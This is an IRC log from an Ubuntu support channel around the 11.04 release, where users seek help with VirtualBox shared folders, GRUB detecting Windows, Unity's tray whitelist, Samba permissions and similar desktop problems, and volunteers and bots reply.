[23:41] <yaaar> ...it breaks the suphp stuff. can anybody explain to me how this is supposed to work?
[23:41] <peto_> Omega, that might work tough I'd prefer the key combination
[23:41] <peto_> ok Knio
[23:41] <peto_> ok KNUBBIG
[23:41] <RavenHursT> Anyone here have exp getting Files shared between a host OS and VM?
[23:42] <taco_the_paco> E: Couldn't find package liblzo1
[23:42] <taco_the_paco>  halp please
[23:42] <yaaar> also, in /etc/suphp/suphp.conf i have docroot=/var/www:${HOME}/public_html ...but the userdirs don't work unless i also put check_vhost_docroot=false ...shouldn't that :${HOME}/public_html bit make the userdirs work?
[23:44] <jnlsnl_> OMFG
[23:44] <jnlsnl_> WTF
[23:44] <jnlsnl_> DISPER IS AWESOME <3
[23:44] <KNUBBIG> !caps | jnlsnl_
[23:44] <ubottu> jnlsnl_: PLEASE DON'T SHOUT! We can read lowercase too.
[23:45] <jnlsnl_> But, i'm too happy for lowercase!
[23:45] <LjL> heh
[23:46] <bear_> what re you shouting for ?
[23:46] <xcyclist> Anybody see that?  http://paste.ubuntu.com/602528/
[23:46] <lucas> Someone who knows about ssd drives... Please... I have dd'ed on a drive. It disconnected without reason, and now after reconnecting it it shows the partitions I had before dd and is mounted read-only. What can I do?
[23:47] <xcyclist> I'd be glad to submit bugs, but launchpad isn't getting me to the new bug menu today, so I'll have to pass.
[23:47] <LjL> !bugs | xcyclist
[23:47] <ubottu> xcyclist: If you find a bug in Ubuntu or any of its derivatives, please file a bug using the command « ubuntu-bug <package> » - See https://help.ubuntu.com/community/ReportingBugs for other ways to report bugs - Bugs in/wishes for the IRC bots (not Ubuntu) can be filed at http://bugs.launchpad.net/ubuntu-bots
[23:48] <xcyclist> Thank you LjL.
[23:48] <FHtrain> help i want the clock to show the seconds. i click on 'time & date settings' and nothing happens
[23:48] <tensorpudding> i'm running lintian on a package, and it's giving me "section-is-dh_make-template", but i don't know what it means and it doesn't seem to exist in lintian's documentation
[23:49] <toad> why oh why does Ubuntu 10.04 log me off?
[23:49] <toad> randomly
[23:49] <toad> it seems different each time
[23:49] <toad> the amoutn of time that is
[23:49] <FloodBot1> toad: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[23:50] <Ubuntuuser2011> I have a strange problem with sleep. When my laptop wakes up from sleep some gtk apps do not work correctly. e..g parts of an app does not respond to mouse clicks. If I log out and log in back everything works fine again.  Is this an known issue?
[23:50] <KNUBBIG> toad: it happens for me on 11.04 because sthing (Unity) crashes
[23:50] <toad> it shows a black screen prior to logging off, that shows some white text, it usually happens to fast and too random for me to really see whats happening
[23:50] <toad> hrmknu
[23:50] <toad> rhrmm Knio
[23:50] <toad> KNUBBIG,
[23:50] <RavenHursT> Arg.... can someone please help me get to the bottom of this? http://pastebin.com/nzch1SjY
[23:50] <toad> could it be a result of something  crashing? Where could I look to check?
[23:51] <RavenHursT> I've created the folder through the vbox menus...
[23:51] <cache_surplus> question - i would like to know why exactly why 8.04 LTS loaded successfully while 10.10 did not on an older laptop. could someone enlighten me?
[23:51] <Ubuntuuser2011> cam some one help me?
[23:51] <RavenHursT> and I can see it in the bottom of the vbox window...  yet ubuntu can't see it..
[23:51] <RavenHursT> ??
[23:51] <Cam> Ubuntuuser2011, don't highlight me
[23:51] <cache_surplus> took 2 days to finally get install of Linux on a laptop
[23:51] <jep> hey guys, my ubuntu boot isn't detecting my pcix ethernet card. when i do 'lshw -C network', it as well as the board's nic show up as 'DISABLED'. I do a 'sudo ifconfig eth1 up' (eth1 is the pcix nic), but still nothing and rebooting makes it disabled again. /etc/network/interfaces only contained the two 'lo' entries so i added ones for eth0 and eth1 (before reboot). Any ideas? I've been out
[23:51] <jep> for like a week now.
[23:51] <LjL> Cam: was obviously a typo.
[23:52] <Cam> LjL, REALLY? Thanks captain obvious.
[23:52] <LjL> !attitude > cam    (cam, see the private message from ubottu)
[23:52] <KNUBBIG> RavenHursT: /sbin/mount.vboxsf exists?
[23:53] <Ubuntuuser2011> I have a strange problem with sleep. When my laptop wakes up from sleep some gtk apps do not work correctly. e..g parts of an app does not respond to mouse clicks. If I log out and log in back everything works fine again.  Is this an known issue?
[23:53] <bear_> FHtrain, try to system restart
[23:53] <Cam> LjL, don't private message someoen without asking.
[23:53] <KNUBBIG> !attitude > Cam
[23:53] <ubottu> Cam, please see my private message
[23:53] <Cam> And LjL, I am here to help people too.
[23:53] <LjL> Cam: this is the norm to use the bot in this channel. if you don't like it, leave.
[23:53] <Cam> !attitude LjL
[23:53] <KNUBBIG> fail.
[23:53] <LjL> Cam: and it's NOT the norm to bash people for making a simple typo. pick a better nickname.
[23:53] <Cam> !attitude > LjL
[23:53] <ubottu> LjL, please see my private message
[23:54] <RavenHursT> KNUBBIG: I would assume so... I get this when I do sudo vboxsf.mount: http://pastebin.com/TUrNELBQ
[23:54] <html_inprogress> i do it all the time
[23:54] <KNUBBIG> http://pastebin.com/TUrNELBQ
[23:54] <KNUBBIG> sorry c&p in Putty
[23:54] <html_inprogress> so do i
[23:55] <Ubuntuuser2011> I need help
[23:55] <H4x0rs> bazhang, you
[23:55] <jep> anything?
[23:55] <html_inprogress> this is a place  for help, and comfort,
[23:55] <jep> should I make a pastebin?
[23:56] <KNUBBIG> RavenHursT: hm looks like /mnt/host-fs is somehow non-existent, sorry, can't help you there
[23:56] <Cam> Self righteous punk.
[23:56] <cache_surplus> RavenHursT: is mount.whatever actually there?
[23:56] <bear_>  FHtrain  try to update n restart
[23:57] <Ubuntuuser2011> can some one help me?
[23:57] <html_inprogress> yes?
[23:57] <Ubuntuuser2011> I have a strange problem with sleep. When my laptop wakes up from sleep some gtk apps do not work correctly. e..g parts of an app does not respond to mouse clicks. If I log out and log in back everything works fine again.  Is this an known issue?
[23:57] <cache_surplus> RavenHursT: i dont know if you know, but you need to create the Directory first, then mount to it :)
[23:57] <jep> hey guys, my ubuntu boot isn't detecting my pcix ethernet card. when i do 'lshw -C network', it as well as the board's nic show up as 'DISABLED'. I do a 'sudo ifconfig eth1 up' (eth1 is the pcix nic), but still nothing and rebooting makes it disabled again. /etc/network/interfaces only contained the two 'lo' entries so i added ones for eth0 and eth1 (before reboot). Any ideas? I've been out
[23:57] <jep> for like a week now.
[23:58] <soobNauce> Can someone please send me a PM?  I need help decrypting and recovering data from my /home folder because the ubuntu 11 update bricked my netbook.
[23:58] <html_inprogress> ...ohhh i havent dealt with that in years... but will try
[23:58] <cache_surplus> RavenHursT: are you working with VirtualBox?
[23:58] <FHtrain> bear_,  i just updated and restarted
[23:58] <Ubuntuuser2011> no one can help me?
[23:58] <html_inprogress>  i said yes
[23:59] <html_inprogress> Ubuntuuser2011,  how long have you  but using linux?, ar you new ?
[23:59] <RavenHursT> cache_surplus: yeah..
[23:59] <cache_surplus> RavenHursT: in cmdline only? i know its a pain sometimes, however, it works well if you get the syntax working right. what are you trying to do? explain? we know your mounting, but Vbox should already see those mounts once fired up. are you doing Headless ?
[00:00] <RavenHursT> cache_surplus: I've created the dir /mnt/host_fs
[00:00] <cache_surplus> k
[00:00] <bear_> FHtrain,  so ? how did it go?
[00:00] <cache_surplus> RavenHursT: are you doing a headless type solution? multiple users to log into it over the network? or what..
[00:00] <ymasory> can the natty launcher be made to stay out permanently?
[00:00] <UserX7> how can i 'sort' a text file alphabetically? first letter of each line.
[00:01] <RavenHursT> cache_surplus: I've set up a shared folder through the vbox menu sytem.. can see it in the bottom of the window when I hover over the icon.. but I get those errors when I try to mount it to /mnt/host_fs
[00:01] <vanguard> My USB-Speakers are dead after a suspend to RAM. I check all volume bars and mixers, and the USB interface is selected everywhere. What can I do?
[00:01] <LjL> UserX7: command "sort"
[00:01] <DasEi> ymasory: you mean just default gnome ? yes.. should be a factoid, in between
[00:01] <html_inprogress> search UserX7,
[00:01] <FHtrain> bear_ sorry i meant i had already updated and restarted when this problem showed up
[00:01] <vanguard> UserX7: sort textfile > sortedfile
[00:01] <RavenHursT> cache_surplus: headless?  I have no idea what that means.. lol
[00:01] <ymasory> DasEi: i mean in unity
[00:01] <vanguard> UserX7: or open in vim and type :sort
[00:01] <irule> I have an ubuntu 11.04 installation on the choose keyboard part, with the grayed out forward button, I chose to download updates and install so it may do somewthing, but its been a while since I dont see much progress other then moving HD lights, should I wait or reboot?
[00:01] <FHtrain> bear_, i just did fresh install
[00:01] <cache_surplus> RavenHursT: with out a monitor, and accessable across the net, its an industry standard term ;)
[00:02] <DasEi> ymasory: you just want gnome, but no unity , or do I get you wrong ?
[00:02] <UserX7> vanguard: and in emacs? :-)
[00:02] <vanguard> UserX7: no clue
[00:02] <vanguard> UserX7: but there has to be something
[00:02] <bear_> just keep an eye out to see if there aere other ppl with the same problem
[00:02] <RavenHursT> cache_surplus: oh.. nope.. not trying to do that.. just want to be able to share files from a folder in windows.. into Ununtu in my vbox VM..
[00:03] <UserX7> sort won't overwrite the contents of a file? e.g. sort foo.txt > foo.txt
[00:03] <bear_> FHtrain,  so ? how did it go?
[00:03] <Blackcamaro8> Is there any way I can boot Ubuntu into a minimal-resources command-line mode? The computer it's on is amazing, but I need minimal resources to be used while I run a game server that's command-line operable. Any suggestions?
[00:03] <cache_surplus> RavenHursT: i have a similar set up on my laptop for smb and vbox stuff. im trying to remember the syntax... ill look around my history files. bbiab
[00:04] <ymasory> DasEi: i'm in unity. i'd like for the bar on the left to not hide itself when a window is maximized
[00:04] <bear_> FHtrain,  of what os?
[00:04] <KNUBBIG> Blackcamaro8: what gameserver you want to run that needs that much ressources? Maybe, if you just want to run servers, install the server edition?
[00:04] <FHtrain> bear_, what i meant was i already did fresh install and update and restart when that problem showed up...but i guess i'll try again
[00:04] <DasEi> Blackcamaro8: dependening on needed services, just log out desktop or even use another runlevel
[00:04] <FHtrain> bear_ 11.04
[00:05] <Blackcamaro8> KNUBBIG: It's a Minecraft game server-- I want more resources to be dedicated to the server. I understand that I could install a server-edition, but I use the computer as a normal desktop when the server is unnecessary.
[00:05] <DasEi> ymasory: ic, I'm not fit in unity, sry, can't help there
[00:05] <Blackcamaro8> DasEi: What do you mean?
[00:05] <bear_> oh, thats a really buggy system  , but your wanting to do so then go for it
[00:06] <DasEi> Blackcamaro8: you can stop the desktop, if you  just need a commandline, saving ressources
[00:06] <Blackcamaro8> DasEi: I know I can Ctrl+Alt+F1, and drop to a command-line, but I want the lowest possible amount of resources to be used by other things.
[00:06] <DasEi> !runlevel
[00:06] <ubottu> In Ubuntu all runlevels except 0,1 and 6 are by default equal. Also keep in mind that Ubuntu now uses !Upstart instead of System V init so there is normally no /etc/inittab.
[00:06] <KNUBBIG> Blackcamaro8: ah okay, I think there should be some options for booting but I don't know exactly
[00:06] <bear_> whats you specs?
[00:06] <RavenHursT> cache_surplus: sudo mount -t vboxsf DEVICE MOUNT_POINT
[00:06] <Blackcamaro8> DasEi: Being completely honest, I've been using Linux for about four years, and understand it immensely, but I have no idea what that means.
[00:07] <Blackcamaro8> DasEi: The Runlevel thing, no the command-line thing.
[00:07] <DasEi> Blackcamaro8: might be some friggle then, as many services, like networking, depend on other ones
[00:07] <Blackcamaro8> not*
[00:07] <RavenHursT> cache_surplus: But that gives me: /sbin/mount.vboxsf: mounting failed with the error: No such device ... even though I can see the shared folder in the bottom of the vbox window.. ugh
[00:07] <html_inprogress> lol
[00:07] <cache_surplus> RavenHursT: thats not my syntax, thats the default explanation lol
[00:08] <DasEi> Blackcamaro8: you can go to init 1, for instance, and start network manually there
[00:08] <RavenHursT> cache_surplus: yeah... I know.. mine is sudo mount -t vboxfs shared_device /mnt/host_fs
[00:08] <Arphetic> were the devs trying to be funny when they released ubuntu 11.04?
[00:08] <DasEi> Blackcamaro8: (logs you out !) sudo init 1 , there choose netroot
[00:08] <Arphetic> cause Natty is merely a bad joke
[00:09] <RavenHursT> Arphetic: Starting to think that myself..
[00:09] <xangua> !ot | Arphetic
[00:09] <ubottu> Arphetic: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[00:09] <Arphetic> Did they break OpenGL, on purpose?
[00:09] <Arphetic> Did they break the tray on purpose?
[00:10] <LjL> Arphetic: do you have a support question? this channel is not for rants, no matter how disappointed you may be, sorry
[00:10] <KNUBBIG> Arphetic: /j #ubuntu-devel and ask there :p
[00:10] <Arphetic> My question is, will OpenGL and the tray ever work again?
[00:10] <Arphetic> cause my programms are disappearing this way
[00:10] <genewitch> well, i can't get 11.04 to work on my computer at all, even in vbox
[00:10] <Arphetic> lucky you
[00:11] <LjL> Arphetic: i don't know, i think the old "tray" is being phased out, but anyway keep in mind you can still use classic GNOME (for now at least) if you prefer
[00:11] <cache_surplus> RavenHursT: since your in cmdline, may i suggest you check out this howto: http://www.howtoforge.com/vboxheadless-running-virtual-machines-with-virtualbox-2.0-on-a-headless-ubuntu-8.04-server  , the syntax is priceless, however, its an older version of vbox, BUT it will give you a few clues as to what else you may have forgotten, ok?
[00:11] <DasEi> Arphetic: on my gnome it's working great, but you can still choose any surface you like...
[00:11] <zakwilson> I'm having tray problems too. Skype doesn't appear, to be specific. Some other programs that use the tray do still work.
[00:11] <Arphetic> its not like gnome fixes the problem
[00:11] <bear_> genewitch,  whats your hardware?
[00:11] <vertical> join #django
[00:11] <vertical> ls
[00:12] <genewitch> bear_: quadcore athlon II 4 gigs of ram 1TB partition for ubuntu
[00:12] <bear_> gmone fixes what?
[00:12] <Arphetic> I tried installing gnome3, created an ever bigger mess , took me 3 days to fix it
[00:12] <RavenHursT> cache_surplus: alright.. I'll take a look.. thnx
[00:12] <cache_surplus> np
[00:13] <bear_> OO) wow !   genewitch ,
[00:13] <icostisanu> hello
[00:13] <genewitch> bear_: yeah the installer and liveusb work but it won't install, and the new GUI doesn't work in vbox
[00:13] <ParkerR> Hello
[00:13] <genewitch> rather, it installs, but goes straight to busybox ash prompt
[00:14] <jenkinSear> zakwilson: you can whitelist the tray icons
[00:14] <ParkerR> I installed XP and now when I upfate grub it does not find it. Any ideas?
[00:14] <icostisanu> my 11.04 doesn't detect when my wi-fi adapter is switched on, could you help to solve this issue?
[00:14] <jenkinSear> zakwilsion: http://www.webupd8.org/2011/04/how-to-re-enable-notification-area.html
[00:14] <ParkerR> *update
[00:14] <Axlin> zakwilson: canonical decided to enforce a system tray "whitelist," blocking any applications from having a systray icon if they're not whitelisted. to allow all apps to have a whitelist, run this and then log out and log back in: gsettings set com.canonical.Unity.Panel systray-whitelist "['all']"
[00:14] <fission6> any html to pdf command line tools?
[00:14] <cache_surplus> RavenHursT: also, here is the manual, good reading :) http://www.virtualbox.org/wiki/Downloads#manual
[00:14] <Jordan_U> ParkerR: What is the output of "sudo os-prober"?
[00:14] <zakwilson> jenkinSear and Axlin: thanks for the info. I won't go on a long off-topic rant here, but I dislike that decision.
[00:15] <ParkerR> Jordan_U, I'll check
[00:15] <KNUBBIG> fission6: found this: http://www.tufat.com/script19.htm
[00:15] <Axlin> zakwilson: yeah, i *despise* it myself
[00:15] <DasEi> ParkerR: try sudo os-prober
[00:15] <czesiu> i install something and now in desktop i have croos and i havent close and minimalize button in window
[00:15] <ParkerR> parker@parker-G60VX:~$ sudo os-prober
[00:15] <ParkerR> [sudo] password for parker:
[00:15] <ParkerR> /dev/sda1:Windows Recovery Environment (loader):Windows:chain
[00:15] <ParkerR> /dev/sda2:Windows 7 (loader):Windows1:chain
[00:15] <ParkerR> parker@parker-G60VX:~$
[00:15] <FloodBot1> ParkerR: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[00:15] <ParkerR> Sorry
[00:15] <cache_surplus> RavenHursT: opps. http://download.virtualbox.org/virtualbox/4.0.6/UserManual.pdf
[00:15] <bear_> genewitch,  did you update grub?
[00:15] <RavenHursT> thnx cache_surplus
[00:15] <DasEi> Ah, Jordan_U, haven't seen
[00:16] <Arphetic> Thanks axisys
[00:16] <czesiu> do anybody help e?
[00:16] <Arphetic> Axlin, *
[00:16] <bear_> yes?
[00:16] <ParkerR> Here's the paste http://paste.ubuntu.com/602538/
[00:16] <Axlin> oh and zakwilson, just so you know, some apps on startup may not show up in the systray if they're loaded before unity finishes loading up, so you'd have to close it and restart it. i'm having this problem with keepass
[00:16] <bear_> czesiu, yes?
[00:17] <zakwilson> Axlin: I'm not using Unity
[00:17] <cache_surplus> np RavenHursT
[00:17] <icostisanu> anyone can help with wi-fi troublesoot?!
[00:17] <termitor> hello, how to pass grub in text mode ? i'm have "out of range" in screen
[00:17] <bear_> i can help ppl , if they need IT .......
[00:17] <ParkerR> And I tried adding a custom entry with Grub customizer but it doesn't show there either
[00:18] <ParkerR> Technically it is burg if it makes a difference
[00:18] <icostisanu> bear_ i just installed 11.04 on my vaio
[00:18] <cdavis> My touchpad on my thiknpad stops working
[00:18] <ParkerR> I can try burg-manager. I just find buc a little iffy
[00:18] <DasEi> termitor: edit /etc/default/grub as root, then sudo update-grub, can use a lower resolution and maybe no splash
[00:18] <e2096> Hi,  can somebody tell me if there is a way to boot up ubuntu so that it does not try to generating the locales?
[00:19] <icostisanu> and ubuntu doesn't detect whether my the wi-fi adapter is on or off, it shows permanently off
[00:19] <zakwilson> Making the change in jenkinSear's link and restarting both notification-area and skype did not result in the icon showing up.
[00:19] <Jordan_U> ParkerR: I don't recommend using BURG. It's a one person fork that hasn't had a commit in 6 months (possibly abandoned).
[00:19] <bear_> icostisanu,  whats your specs?
[00:19] <icostisanu> i3/4gb ram/500hdd
[00:19] <icostisanu> if this is what you mean
[00:19] <termitor> DasEi, system don't boot, i have no cd or other tools for use live cd
[00:19] <cdavis> My touchpad on my thiknpad stops working, is there a way to restart it so I can work on figuring out why it stops?
[00:19] <ParkerR> Jordan_U, It works just fine. Neither grub nor burg see XP though
[00:20] <czesiu> and what?
[00:20] <Arphetic> it failed Axlin
[00:20] <ParkerR> I like the look
[00:20] <Jordan_U> ParkerR: Standard GRUB2 allows theming, though admitedly does not support all of the theming options of BURG.
[00:20] <termitor> DasEi, just the shortcut for text mode in grub , give me help i'm need
[00:20] <ParkerR> Jordan_U, Mind if I PM?
[00:20] <Logan_> !pm | ParkerR
[00:20] <ubottu> ParkerR: Please ask your questions in the channel so that other people can help you, benefit from your questions and answers, and ensure that you're not getting bad advice. Please note that some people find it rude to be sent a PM without being asked for permission to do so first.
[00:20] <ParkerR> Ok
[00:20] <DasEi> termitor: can you boot safemode ?
[00:21] <bear_> icostisanu,  whats your hardware ?
[00:21] <DasEi> termitor: press left shift when grub starts to lood, try recoverymode, usually second entry
[00:21] <Jordan_U> ParkerR: I'd prefer to stay in-channel.
[00:21] <DasEi> load*
[00:21] <Jordan_U> ParkerR: Since os-prober is finding Windows, GRUB2 should have no problem adding an entry for it.
[00:22] <icostisanu> bear_ you mean wi-fi hardware only?
[00:22] <genewitch> bear_: update grub? isn't the installer supposed to update if i am connected to the internet?
[00:22] <termitor> DasEi, hum , no boot , screen "out of range" ,
[00:22] <icostisanu> bear_: Atheros AR9285
[00:22] <Arphetic> does unity use compiz?
[00:22] <ParkerR> Jordan_U, Before I abandon burg I'm going to try burg-manager
[00:23] <ParkerR> Just a sec
[00:23] <kowen> Arphetic: Yes.
[00:23] <DasEi> termitor: so you get just no picture, but a safetywarning from your monitor ? you will need another medium aka usb or cd then
[00:23] <termitor> DasEi, dont have :c
[00:23] <kowen> It has its own plugin for Compiz, which lets you do some minor adjustments in ccsm.
[00:23] <Arphetic> does ubuntu stop with KDE as well?
[00:23] <kowen> (For Unity 3D, at least.)
[00:24] <bollullera> hello
[00:24] <DasEi> termitor: which OS are you currently talking from ? ssh on the broken one installed ?
[00:24] <Strav> He. I'm currently fighthing against permissions on my samba share, some help about it would be real nice.  On server side, fstab entry for the drive (which I share) is: UUID=my_drive_uuid /media/raid auto defaults 0 3 rw,user,exec,umask=000 ... On the client side, it's mostly ending the same way except I specify that this is a smbfs. Now on the smb.conf, my share is defined with: create mask = 0775, writeable=yes, browseable = yes.
[00:24] <xcyclist> Got my video chipsets on this one (top item):  http://paste.ubuntu.com/602541/
[00:24] <termitor> DasEi, other pc , no cd reader on
[00:25] <nerdy_kid> apt.ubuntu.com links such as this one: http://apt.ubuntu.com/p/brukkon  give my a "You dont seem to be running Ubuntu" error.  I am using Chrome, anyone have any ideas?
[00:25] <DasEi> termitor: which OS are you currently talking from ? ssh on the broken one installed ? please answer to questions :)
[00:25] <html_inprogress> genewitch,  yes  last i checked, ( a year ago)
[00:25] <Strav> Note: The user I use to login is in the global write list. Anything I could try to see what's wrong? (just to specify: from the server side I can write on the partition without any problem, on the client's side however, I need to invoke sudo)
[00:26] <KNUBBIG> Strav: what exactly is your problem?
[00:26] <Arphetic> why did natty remove ubuntu tweak , and install crap i didnt want :/
[00:26] <html_inprogress> icostisanu,  it standard to just give that info ,
[00:27] <bazhang> Arphetic, ubuntu-tweak, the 3rd party tool?
[00:27] <jep> hey guys, my ubuntu boot isn't detecting my pcix ethernet card. when i do 'lshw -C network', it as well as the board's nic show up as 'DISABLED'. I do a 'sudo ifconfig eth1 up' (eth1 is the pcix nic), but still nothing and rebooting makes it disabled again. /etc/network/interfaces only contained the two 'lo' entries so i added ones for eth0 and eth1 (before reboot). Any ideas? I've been out
[00:27] <jep> for like a week now.
[00:27] <Strav> KNUBBIG: as I just wrote: I cannot write on the partition from the client side unless I use sudo.
[00:27] <Arphetic> yes
[00:27] <bazhang> Arphetic, its 3rd party, was never a part of ubuntu
[00:27] <KNUBBIG> Strav: sorry didn't spot that
[00:27] <Arphetic> i know
[00:27] <Arphetic> thats why i wonder why they would remove it
[00:28] <Strav> KNUBBIG: it's on the second part of my msg, just above your first reply)
[00:28] <icostisanu> PROBLEM on 11.04 / ubuntu don't recognize when my wi-fi adapter is ON. I have Vaio Y series
[00:28] <kowen> Tweak has its own PPA, doesn't it?
[00:28] <bazhang> Arphetic, you need to clarify, what you are saying does not make sense
[00:28] <icostisanu> any ideas?
[00:28] <Jordan_U> Arphetic: Ubuntu will not stop using GNOME, (and GNOME shell will be available in 11.11), nor will Kubuntu stop using KDE.
[00:28] <bazhang> Jordan_U, in 11.10 as well
[00:28] <habriel> hello i am installing mrtg and i have it problem Use of uninitialized value $first in hash element at /usr/bin/indexmaker line 353
[00:29] <Arphetic> why did natty remove ubuntu tweak , and install crap i didnt want :/ (banshee and some other programms)
[00:29] <KNUBBIG> Strav: how can you use sudo to write? Do you invoke nautilus with sudo? Or do you copy to the samba filesystem via sudo?
[00:29] <nerdy_kid> never mind, its a bug apparently...
[00:29] <Arphetic> what is not understandable about this>?
[00:29] <Arphetic> i had tweak installed
[00:29] <Arphetic> i upgrade
[00:29] <Arphetic> tweak gone
[00:29] <FloodBot1> Arphetic: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[00:29] <bazhang> Arphetic, from a PPA?
[00:29] <KNUBBIG> !enter | Arphetic
[00:29] <Arphetic> and some crap installed
[00:29] <ubottu> Arphetic: Please try to keep your questions/responses on one line. Don't use the "Enter" key as punctuation!
[00:29] <Jordan_U> bazhang: :)
[00:29] <eternicode> jnettop is giving me this output: http://dpaste.com/538207/ any ideas what's up?  I checked out netstat, but it didn't show anything bound to 0.0.0.0:0.  This "connection" has been doing 100-300Kbps about 5-10 min at a time several times throughout the day, and I have no clue how to track down the culprit :/
[00:29] <will> !
[00:29] <bazhang> Arphetic, all PPA are disabled when you upgrade versions
[00:30] <habriel>  hello i am installing mrtg and i have it problem Use of uninitialized value $first in hash element at /usr/bin/indexmaker line 353
[00:30] <Arphetic> i didnt use ppe
[00:30] <Arphetic> ppa*
[00:30] <Jordan_U> Arphetic: Ubuntu tweak likely caused dependency problems and needed to be removed to complete the upgrade.
[00:30] <bazhang> Arphetic, then its not part of Ubuntu, has never been.
[00:30] <termitor> DasEi, make install liveusb on sd card, but no sure it working
[00:31] <Arphetic> and it didnt tell me when i upgraded?
[00:31] <Strav> KNUBBIG: I must use sudo for any write operation (I'm testing with touch ./tests, and for this, I need sudo)
[00:31] <Jordan_U> Arphetic: That happens with things installed from outside the repositories.
[00:31] <Arphetic> Microsoft Ubuntu 11.04
[00:31] <fez> hi
[00:31] <santyaga> hi all
[00:31] <Auriga> Has everyone upgraded? How is the new OS?
[00:31] <skulltip> so i upgraded to 11.04, then installed unity 2d. when i try to play urban terror or openarena, my mouse wraps around the screen, like it's in a limited work area.
[00:31] <kowen> Auriga: Depends on who you ask. :P
[00:31] <Arphetic> like running ubuntu 1
[00:31] <Strav> KNUBBIG: I expect it has something to do with my fstab entry, but I can't see what's wrong with it.
[00:31] <bear_> icostisanu,  what html is saying , when you say  problems , you tell us here in chat room so maybe some one else can help , not just one person,lol ... good times   like your hardware your running (make and model  in some problems do helps to know)   cpu , ram , and what ever your use/problem with
[00:31] <Auriga> kowen, That sounds like you don't like it...
[00:32] <DasEi> termitor: usb will rather work, no way to boot without monitor and ssh in ? fresh install ? use another monitor ?
[00:32] <kowen> Auriga: Oh, I love Unity, actually. :)
[00:32] <habriel>  hello i am installing mrtg and i have it problem Use of uninitialized value $first in hash element at /usr/bin/indexmaker line 353
[00:32] <kowen> So far, Natty has been nice to me.
[00:32] <bazhang> Arphetic, this is not the complaints channel. if you have a legitimate support issue please ask
[00:32] <Auriga> kowen, Really...? Hmmm....
[00:32] <kowen> A lot of people are extremely unhappy with it, though.
[00:32] <KNUBBIG> Strav: Hm I dunno, I only used samba to for Win <-> Ubuntu, if your smb.conf is correct than it probably is fstab, right
[00:32] <Auriga> kowen, I am correct in saying compiz isn't compatible right...?
[00:32] <kowen> It uses Compiz.
[00:32] <santyaga> i didn't like unity, so gnome is my choice)
[00:33] <Auriga> Then I misunderstood all I read then...
[00:33] <kowen> Unity has its own Compiz plugin, actually, so you can control some aspects of it from ccsm, which is nice.
[00:33] <Auriga> AHhh okay.
[00:33] <KNUBBIG> Man when I'm that tired I tend to write total crap :)
[00:33] <KNUBBIG> (by means of grammar)
[00:33] <kowen> I didn't like Unity at first (actually, I wanted to curse at it), but gave it a chance for about a week. Now I think it's pretty awesome, considering how young it is.
[00:33] <skulltip> i dont mind the change in looks, but seems to be messing with my gaming
[00:34] <Auriga> kowen,  I may go back to 10.04 still... I think I will wait to see the long term effects on the OS.
[00:34] <kowen> Probably not a bad idea.
[00:34] <[V13]Axel> I have an odd question. Is there a way to hook onto an already-running program and view it's command-line output?
[00:34] <Auriga> Then again I may switch distro's...
[00:34] <kowen> I used to stick with the LTS releases, but lately, I'm feeling a little more adventurous. :P
[00:35] <Auriga> Lol.
[00:35] <Jordan_U> !screen | [V13]Axel
[00:35] <ubottu> [V13]Axel: screen is a window manager for terminal sessions, also useful over SSH. See https://help.ubuntu.com/community/Screen
[00:35] <andygraybeal_> kowen, nice :)
[00:35] <Newbiehere> Hi everyone, i want to download Ubuntu 64. In the alterntive torrents, i only see AMD 64.
[00:35] <ParkerR> What and where would I add to this to boot XP from sda3? http://paste.ubuntu.com/602543/
[00:35] <speedrunnerG55__> i herd unity is unstable why is that
[00:35] <KNUBBIG> Newbiehere: AMD6 = 64bit
[00:35] <KNUBBIG> AMD64*
[00:35] <ZykoticK9> Newbiehere, AMD64 will work on Intel as well
[00:35] <DasEi> Newbiehere: same, it's general 64 bit, intell fine, too
[00:35] <skulltip> anyone know why my mouse wants to recenter on 3d games?
[00:36] <[V13]Axel> Jordan_U: Will that let me view the output of already-running programs on a command-line?
[00:36] <Newbiehere> ZykoticK9, your name sounds familiar from Ubuntu CA. Well thanks to everyone who responded, i'll started download'n. Thanks
[00:36] <Arphetic> How do I get emesene to get a tray icon again? Where do I configure Unity? Will OpenGL ever work again?
[00:36] <KNUBBIG> [V13]Axel: if the program is already running and not started by you, no
[00:37] <Auriga> Arphetic, emense should have it by default...
[00:37] <joncarr> where can i get help with compiz?
[00:37] <joncarr> is anyone there?
[00:37] <Arphetic> it did before natty
[00:37] <KNUBBIG> !compiz | joncarr
[00:37] <ubottu> joncarr: Compiz (compositing window manager), for a howto see http://help.ubuntu.com/community/CompositeManager and more help #compiz
[00:37] <joncarr> thanks
[00:37] <ParkerR> joncarr, Use compizconfig
[00:37] <[V13]Axel> KNUBBIG: I mean if I start a program using an icon, or let's say I use the & flag after it to drop command-line access, can I regain access to that program's command-line?
[00:37] <KNUBBIG> !ccsm | joncarr
[00:37] <ubottu> joncarr: To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[00:37] <ParkerR> It reanable the effects in 11.04
[00:37] <Pirigosao>  (MP3) [Victor & Leo - Boa Sorte Pra Você] CebPlayer
[00:38] <ParkerR> *reenables
[00:38] <svu> is it ok that in natty libgcrypt.so is in /lib/{arch} and libcrypt.la is in /usr/lib/{arch} ?
[00:38] <joeyr> I have 10.10 on an external HD. I moved it from my desktop to my new laptop. When I boot on my laptop there is no GUI. Anybody know what to do?
[00:38] <joncarr> its a funny thing parker i tried to enable the cube and everything went away but my desktop i had to open a text file with chrome to get to a browser and now im here
[00:38] <ParkerR> joeyr, Try startx
[00:39] <KNUBBIG> [V13]Axel: yes I know, I don' know if that's possible, if you start the programm in a !screen, you can easily reattach but when you start it with an icon I don't know
[00:39] <joeyr> ParkerR: tried and it doesn't work
[00:39] <ParkerR> I dunno then
[00:39] <bkerensa> joeyr: You having some trouble?
[00:40] <ParkerR> Jordan_U, Did you see my new qustion?
[00:40] <ParkerR> *question
[00:41] <joeyr> bkerensa: My external hd that has Ubuntu on it boots but there is no GUI. I have an AMD Athlon x2 p340 processor and for graphics I have ATI mobility radeon HD 4250
[00:41] <dd214> Having trouble with 11.04 and VMware workstation, I can't create clones of existing VMs without workstation abruptly closing.  no logs
[00:41] <joncarr> hey parker...noone seems to be answering in that channel but i was wondering if you would mind giving me a hand getting this stuff back
